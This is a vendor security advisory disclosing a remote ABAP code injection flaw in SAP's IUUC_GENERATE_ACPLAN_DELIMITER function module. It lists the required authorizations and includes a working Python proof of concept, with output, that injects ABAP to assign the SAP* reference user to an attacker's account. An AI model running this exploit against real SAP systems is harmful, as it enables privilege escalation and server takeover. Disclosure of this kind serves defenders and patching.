Vendor description
"SAP SE is a German multinational software corporation based in Walldorf, Baden-Württemberg, that develops enterprise software to manage business operations and customer relations. The company is especially known for its ERP software. SAP is the largest non-American software company by revenue, the world's third-largest publicly-traded software company by revenue, and the largest German company by market capitalization."
Source: en.wikipedia.org/wiki/SAP
Business recommendation
SAP® released the patch (SNote 3089831) and SEC Consult advises all SAP® customers to update their systems immediately.
An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.
Vulnerability overview/description
1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER
The function module IUUC_GENERATE_ACPLAN_DELIMITER allows creating and executing ABAP programs in the SAP internal /ILT/* and /1CADMC/* namespace. To do that it creates jobs that can be executed immediately or scheduled for a specific time in the future. An attacker with the authorizations for the function module is able to execute arbitrary code and take over the SAP application server.
As the function module is remote enabled, it allows the attack to be performed remotely via RFC. In the majority of cases internal RFC communications are nowadays still found to be unencrypted. This increases the risk that attackers wiretap service account passwords. Once such user is hijacked, the attacker has gained all necessary prerequisites for further attacks as described in this advisory.
Attack Prerequisites
1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER
The user must have at least the following authorization objects:
S_DMIS:
MBT_PR_ARE: SLOP (SAP Landscape Transformation)
ACTVT: 03 (Display)
S_BTCH_JOB:
JOBACTION: RELE (Release Jobs)Further, authorization to perform function calls (S_RFC) have to be present. Alternatively for local execution, authorization to execute function modules via transaction SE37 would be necessary.
Proof of concept
1. Remote ABAP Code Injection in IUUC_GENERATE_ACPLAN_DELIMITER
As a proof of concept, a script was created that assigns the reference user SAP* to the attacker using the table REFUSER:
#!/usr/bin/env python3
from pyrfc import Connection
import time
def print_usref():
conn_highpriv = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001",
user="DEVELOPER", passwd="Sap123456", lang='EN')
result = conn_highpriv.call('RFC_READ_TABLE',
QUERY_TABLE='USREFUS',
FIELDS=['MANDT', 'BNAME', 'REFUSER'],
DELIMITER='|'
)
column_values = []
for line in result['DATA']:
data = line['WA']
if "TEST" in data:
print(data)
if __name__ == '__main__':
mandt = {'000', '001'} # selected for demonstration purpose
print("Before: USREFUS WHERE BNAME = 'TEST'")
print_usref()
conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001",
user="TEST", passwd="Sap123456", lang='EN')
result = conn.call('IUUC_GENERATE_ACPLAN_DELIMITER',
I_REPORTNAME='/1LT/Z_EVIL',
I_SCHED_IMMEDIATE='X',
IT_CODE=["REPORT /1LT/Z_EVIL.",
"UPDATE USREFUS SET REFUSER = 'SAP*' ",
"WHERE BNAME = 'TEST'."
"COMMIT WORK."]
)
print("\nSending payload via IUUC_RECON_RC_COUNT_TABLE_BIG and waiting 5 seconds...\n")
time.sleep(5)
print("After: USREFUS WHERE BNAME = 'TEST'")
print_usref()Running the code produces the following output:
$> IUUC_GENERATE_ACPLAN_DELIMITER_poc.py
Before: USREFUS WHERE BNAME = 'TEST'
001|TEST |
Sending payload via IUUC_RECON_RC_COUNT_TABLE_BIG and waiting 5 seconds...
After: USREFUS WHERE BNAME = 'TEST'
001|TEST |SAP*
Vulnerable / tested versions
This vulnerability has been tested on Netweaver 754 (Release), 0002 (SP-Level), SAP DMIS
2011_1_731, SAPK-11613INDMIS.